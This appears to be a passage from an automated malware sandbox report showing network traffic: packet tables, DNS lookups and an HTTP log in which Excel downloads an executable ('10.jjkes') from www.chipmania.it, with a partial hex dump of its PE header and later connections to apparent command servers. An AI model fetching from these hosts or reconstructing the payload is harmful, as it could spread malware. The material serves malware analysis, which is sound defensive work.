Feb 20, 2021 09:48:09.226614952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226630926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226634026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226671934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226674080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226713896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226716995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226758957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226778030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226792097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226797104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226833105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226861000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226865053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226874113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226907015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226929903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226937056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226955891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226974964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226977110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227014065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227019072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227060080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227087021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227092981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227112055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227119923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227144957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227148056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227159977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227176905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227184057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227221966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227226019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227260113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227299929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227322102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227329969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227332115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227334976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227355957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227366924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227382898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227391958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227411032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227437019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227454901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227461100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227463961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227489948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227514982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227519035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227523088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227533102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227552891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227561951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227579117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227602005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227606058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227619886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227632999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227659941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227659941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227670908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227686882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227690935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227714062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227724075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227746010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227771997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227776051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227787971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227803946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227830887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.227854967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227860928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.227873087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249169111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249234915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249284983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249324083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249341011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249363899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249371052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249373913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249376059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249418020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249452114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249500990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249504089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249547958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249548912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249587059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249599934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249628067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249633074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249666929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249670982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249706030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249711037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249744892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249746084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249783039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249787092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249825954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249831915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249876022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249876022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249914885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249918938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249954939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.249957085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.249996901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.250473022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.250510931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.250544071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.250556946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.250560045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.250591040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.250603914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.250632048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.397730112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:10.105570078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:10.105665922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:19.250919104 CET	49166	443	192.168.2.22	45.155.173.242
Feb 20, 2021 09:48:19.292133093 CET	443	49166	45.155.173.242	192.168.2.22
Feb 20, 2021 09:48:19.292260885 CET	49166	443	192.168.2.22	45.155.173.242
Feb 20, 2021 09:48:19.299417973 CET	49166	443	192.168.2.22	45.155.173.242
Feb 20, 2021 09:48:19.340357065 CET	443	49166	45.155.173.242	192.168.2.22
Feb 20, 2021 09:48:19.343115091 CET	443	49166	45.155.173.242	192.168.2.22
Feb 20, 2021 09:48:19.358329058 CET	49166	443	192.168.2.22	45.155.173.242
Feb 20, 2021 09:48:19.400700092 CET	443	49166	45.155.173.242	192.168.2.22
Feb 20, 2021 09:48:19.402379990 CET	443	49166	45.155.173.242	192.168.2.22
Feb 20, 2021 09:48:19.610106945 CET	49166	443	192.168.2.22	45.155.173.242
Feb 20, 2021 09:48:19.649523020 CET	443	49166	45.155.173.242	192.168.2.22
Feb 20, 2021 09:48:19.649686098 CET	49166	443	192.168.2.22	45.155.173.242
Feb 20, 2021 09:48:20.796572924 CET	49166	443	192.168.2.22	45.155.173.242
Feb 20, 2021 09:48:20.837441921 CET	443	49166	45.155.173.242	192.168.2.22
Feb 20, 2021 09:48:21.479214907 CET	443	49166	45.155.173.242	192.168.2.22
Feb 20, 2021 09:48:21.685298920 CET	49166	443	192.168.2.22	45.155.173.242
Feb 20, 2021 09:48:21.725447893 CET	443	49166	45.155.173.242	192.168.2.22
Feb 20, 2021 09:48:21.725702047 CET	49166	443	192.168.2.22	45.155.173.242
Feb 20, 2021 09:48:22.092623949 CET	49168	443	192.168.2.22	194.5.249.156
Feb 20, 2021 09:48:25.101891041 CET	49168	443	192.168.2.22	194.5.249.156
Feb 20, 2021 09:48:31.108464003 CET	49168	443	192.168.2.22	194.5.249.156
Feb 20, 2021 09:48:40.131850004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:43.106801033 CET	49169	443	192.168.2.22	194.5.249.156
Feb 20, 2021 09:48:46.116976976 CET	49169	443	192.168.2.22	194.5.249.156
Feb 20, 2021 09:48:52.149038076 CET	49169	443	192.168.2.22	194.5.249.156
Feb 20, 2021 09:49:05.777178049 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:05.977272987 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:05.977420092 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:05.978080988 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:06.175767899 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:06.177721024 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:06.177737951 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:06.177880049 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:06.186702013 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:06.384881020 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:06.386676073 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:06.624557018 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:07.124301910 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:07.334759951 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:07.619180918 CET	49171	443	192.168.2.22	176.58.123.25
Feb 20, 2021 09:49:07.679483891 CET	443	49171	176.58.123.25	192.168.2.22
Feb 20, 2021 09:49:07.679580927 CET	49171	443	192.168.2.22	176.58.123.25
Feb 20, 2021 09:49:07.680356026 CET	49171	443	192.168.2.22	176.58.123.25
Feb 20, 2021 09:49:07.732100010 CET	443	49171	176.58.123.25	192.168.2.22
Feb 20, 2021 09:49:07.733015060 CET	443	49171	176.58.123.25	192.168.2.22
Feb 20, 2021 09:49:07.733053923 CET	443	49171	176.58.123.25	192.168.2.22
Feb 20, 2021 09:49:07.733083010 CET	443	49171	176.58.123.25	192.168.2.22
Feb 20, 2021 09:49:07.733149052 CET	49171	443	192.168.2.22	176.58.123.25
Feb 20, 2021 09:49:07.745661020 CET	49171	443	192.168.2.22	176.58.123.25
Feb 20, 2021 09:49:07.799768925 CET	443	49171	176.58.123.25	192.168.2.22
Feb 20, 2021 09:49:07.799887896 CET	443	49171	176.58.123.25	192.168.2.22
Feb 20, 2021 09:49:08.005537987 CET	49171	443	192.168.2.22	176.58.123.25
Feb 20, 2021 09:49:08.438448906 CET	49171	443	192.168.2.22	176.58.123.25
Feb 20, 2021 09:49:08.490436077 CET	443	49171	176.58.123.25	192.168.2.22
Feb 20, 2021 09:49:08.490502119 CET	443	49171	176.58.123.25	192.168.2.22
Feb 20, 2021 09:49:08.491146088 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:08.688652992 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:08.707735062 CET	49171	443	192.168.2.22	176.58.123.25
Feb 20, 2021 09:49:09.253523111 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:09.253573895 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:09.254003048 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:09.637520075 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:09.834897995 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:10.331577063 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:10.332609892 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:10.529861927 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:11.087409973 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:11.088198900 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:11.287920952 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:11.776227951 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:11.984060049 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:12.233849049 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:12.433952093 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:12.977899075 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:13.185266972 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:15.841965914 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:15.842256069 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:16.039772987 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:16.039999008 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:16.040632963 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:16.237867117 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:16.239937067 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:16.239965916 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:16.240237951 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:16.253948927 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:16.453583956 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:16.493738890 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:16.736830950 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:17.237572908 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 09:49:17.240763903 CET	49174	447	192.168.2.22	5.202.150.151
Feb 20, 2021 09:49:17.444632053 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 09:49:20.252794027 CET	49174	447	192.168.2.22	5.202.150.151
Feb 20, 2021 09:49:23.491957903 CET	443	49171	176.58.123.25	192.168.2.22
Feb 20, 2021 09:49:23.492018938 CET	443	49171	176.58.123.25	192.168.2.22
Feb 20, 2021 09:49:23.492275000 CET	49171	443	192.168.2.22	176.58.123.25
Feb 20, 2021 09:49:23.492503881 CET	49171	443	192.168.2.22	176.58.123.25
Feb 20, 2021 09:49:23.492724895 CET	49171	443	192.168.2.22	176.58.123.25
Feb 20, 2021 09:49:23.546161890 CET	443	49171	176.58.123.25	192.168.2.22
Feb 20, 2021 09:49:23.546514034 CET	443	49171	176.58.123.25	192.168.2.22
Feb 20, 2021 09:49:26.259347916 CET	49174	447	192.168.2.22	5.202.150.151
Feb 20, 2021 09:49:36.482002020 CET	443	49166	45.155.173.242	192.168.2.22
Feb 20, 2021 09:49:36.482053041 CET	443	49166	45.155.173.242	192.168.2.22
Feb 20, 2021 09:49:36.482235909 CET	49166	443	192.168.2.22	45.155.173.242
Feb 20, 2021 09:49:36.482378960 CET	49166	443	192.168.2.22	45.155.173.242
Feb 20, 2021 09:49:36.482438087 CET	49166	443	192.168.2.22	45.155.173.242
Feb 20, 2021 09:49:36.523906946 CET	443	49166	45.155.173.242	192.168.2.22
Feb 20, 2021 09:49:36.523945093 CET	443	49166	45.155.173.242	192.168.2.22
Feb 20, 2021 09:49:38.273034096 CET	49175	447	192.168.2.22	5.202.150.151
Feb 20, 2021 09:49:41.283384085 CET	49175	447	192.168.2.22	5.202.150.151
Feb 20, 2021 09:49:47.289860964 CET	49175	447	192.168.2.22	5.202.150.151
Feb 20, 2021 09:50:00.318424940 CET	49176	447	192.168.2.22	103.220.47.220
Feb 20, 2021 09:50:03.328114986 CET	49176	447	192.168.2.22	103.220.47.220
Feb 20, 2021 09:50:09.334634066 CET	49176	447	192.168.2.22	103.220.47.220
Feb 20, 2021 09:50:19.257541895 CET	49173	443	192.168.2.22	193.8.194.96

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 20, 2021 09:48:07.978209019 CET	52197	53	192.168.2.22	8.8.8.8
Feb 20, 2021 09:48:08.037940979 CET	53	52197	8.8.8.8	192.168.2.22
Feb 20, 2021 09:48:19.789324045 CET	53099	53	192.168.2.22	8.8.8.8
Feb 20, 2021 09:48:19.843091011 CET	53	53099	8.8.8.8	192.168.2.22
Feb 20, 2021 09:48:19.858103991 CET	52838	53	192.168.2.22	8.8.8.8
Feb 20, 2021 09:48:19.906888008 CET	53	52838	8.8.8.8	192.168.2.22
Feb 20, 2021 09:49:07.491444111 CET	61200	53	192.168.2.22	8.8.8.8
Feb 20, 2021 09:49:07.551477909 CET	53	61200	8.8.8.8	192.168.2.22
Feb 20, 2021 09:49:07.557696104 CET	49548	53	192.168.2.22	8.8.8.8
Feb 20, 2021 09:49:07.618220091 CET	53	49548	8.8.8.8	192.168.2.22
Feb 20, 2021 09:49:07.935848951 CET	55627	53	192.168.2.22	8.8.8.8
Feb 20, 2021 09:49:07.984754086 CET	53	55627	8.8.8.8	192.168.2.22
Feb 20, 2021 09:49:07.987725019 CET	56009	53	192.168.2.22	8.8.8.8
Feb 20, 2021 09:49:08.039216995 CET	53	56009	8.8.8.8	192.168.2.22
Feb 20, 2021 09:49:11.780280113 CET	61865	53	192.168.2.22	8.8.8.8
Feb 20, 2021 09:49:11.846560955 CET	53	61865	8.8.8.8	192.168.2.22
Feb 20, 2021 09:49:11.849558115 CET	55171	53	192.168.2.22	8.8.8.8
Feb 20, 2021 09:49:11.912435055 CET	53	55171	8.8.8.8	192.168.2.22
Feb 20, 2021 09:49:11.916096926 CET	52496	53	192.168.2.22	8.8.8.8
Feb 20, 2021 09:49:12.074311018 CET	53	52496	8.8.8.8	192.168.2.22
Feb 20, 2021 09:49:12.078605890 CET	57564	53	192.168.2.22	8.8.8.8
Feb 20, 2021 09:49:12.137561083 CET	53	57564	8.8.8.8	192.168.2.22
Feb 20, 2021 09:49:12.141418934 CET	63009	53	192.168.2.22	8.8.8.8
Feb 20, 2021 09:49:12.232424974 CET	53	63009	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 20, 2021 09:48:07.978209019 CET	192.168.2.22	8.8.8.8	0xb648	Standard query (0)	www.chipmania.it	A (IP address)	IN (0x0001)
Feb 20, 2021 09:49:07.491444111 CET	192.168.2.22	8.8.8.8	0xa0c2	Standard query (0)	ident.me	A (IP address)	IN (0x0001)
Feb 20, 2021 09:49:07.557696104 CET	192.168.2.22	8.8.8.8	0xfa16	Standard query (0)	ident.me	A (IP address)	IN (0x0001)
Feb 20, 2021 09:49:11.780280113 CET	192.168.2.22	8.8.8.8	0x1d23	Standard query (0)	38.52.17.84.zen.spamhaus.org	A (IP address)	IN (0x0001)
Feb 20, 2021 09:49:11.849558115 CET	192.168.2.22	8.8.8.8	0xc63d	Standard query (0)	38.52.17.84.cbl.abuseat.org	A (IP address)	IN (0x0001)
Feb 20, 2021 09:49:11.916096926 CET	192.168.2.22	8.8.8.8	0xea66	Standard query (0)	38.52.17.84.b.barracudacentral.org	A (IP address)	IN (0x0001)
Feb 20, 2021 09:49:12.078605890 CET	192.168.2.22	8.8.8.8	0x87a5	Standard query (0)	38.52.17.84.dnsbl-1.uceprotect.net	A (IP address)	IN (0x0001)
Feb 20, 2021 09:49:12.141418934 CET	192.168.2.22	8.8.8.8	0x376d	Standard query (0)	38.52.17.84.spam.dnsbl.sorbs.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Feb 20, 2021 09:48:08.037940979 CET	8.8.8.8	192.168.2.22	0xb648	No error (0)	www.chipmania.it	chipmania.it		CNAME (Canonical name)	IN (0x0001)
Feb 20, 2021 09:48:08.037940979 CET	8.8.8.8	192.168.2.22	0xb648	No error (0)	chipmania.it		185.81.0.78	A (IP address)	IN (0x0001)
Feb 20, 2021 09:49:07.551477909 CET	8.8.8.8	192.168.2.22	0xa0c2	No error (0)	ident.me		176.58.123.25	A (IP address)	IN (0x0001)
Feb 20, 2021 09:49:07.618220091 CET	8.8.8.8	192.168.2.22	0xfa16	No error (0)	ident.me		176.58.123.25	A (IP address)	IN (0x0001)
Feb 20, 2021 09:49:11.846560955 CET	8.8.8.8	192.168.2.22	0x1d23	Name error (3)	38.52.17.84.zen.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Feb 20, 2021 09:49:11.912435055 CET	8.8.8.8	192.168.2.22	0xc63d	Name error (3)	38.52.17.84.cbl.abuseat.org	none	none	A (IP address)	IN (0x0001)
Feb 20, 2021 09:49:12.074311018 CET	8.8.8.8	192.168.2.22	0xea66	Name error (3)	38.52.17.84.b.barracudacentral.org	none	none	A (IP address)	IN (0x0001)
Feb 20, 2021 09:49:12.137561083 CET	8.8.8.8	192.168.2.22	0x87a5	Name error (3)	38.52.17.84.dnsbl-1.uceprotect.net	none	none	A (IP address)	IN (0x0001)
Feb 20, 2021 09:49:12.232424974 CET	8.8.8.8	192.168.2.22	0x376d	Name error (3)	38.52.17.84.spam.dnsbl.sorbs.net	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.chipmania.it

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	185.81.0.78	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Feb 20, 2021 09:48:08.114717007 CET	0	OUT	GET /mails/open.php HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.chipmania.it Connection: Keep-Alive
Feb 20, 2021 09:48:08.181039095 CET	2	IN	HTTP/1.1 200 OK Date: Sat, 20 Feb 2021 08:48:08 GMT Server: Apache Content-Disposition: attachment; filename="10.jjkes" Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Keep-Alive: timeout=1, max=100 Transfer-Encoding: chunked Content-Type: application/octet-stream Data Raw: 32 30 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd 2a 96 79 f9 4b f8 2a f9 4b f8 2a f9 4b f8 2a a2 23 fb 2b f3 4b f8 2a a2 23 fd 2b 7e 4b f8 2a a2 23 fc 2b eb 4b f8 2a 01 3b fc 2b f6 4b f8 2a 01 3b fb 2b e8 4b f8 2a a2 23 f9 2b fc 4b f8 2a f9 4b f9 2a 9a 4b f8 2a 01 3b fd 2b d8 4b f8 2a 4e 3a f1 2b f4 4b f8 2a 4e 3a f8 2b f8 4b f8 2a 4e 3a 07 2a f8 4b f8 2a 4e 3a fa 2b f8 4b f8 2a 52 69 63 68 f9 4b f8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a4 73 2f 60 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 1b 00 72 42 00 00 a4 03 00 00 00 00 00 c2 7d 41 00 00 10 00 00 00 90 42 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 46 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 20 8f 44 00 60 01 00 00 80 90 44 00 3c 00 00 00 00 c0 44 00 58 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 46 00 b0 11 00 00 60 81 44 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 81 44 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 42 00 58 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 df 71 42 00 00 10 00 00 00 72 42 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 18 08 02 00 00 90 42 00 00 0a 02 00 00 76 42 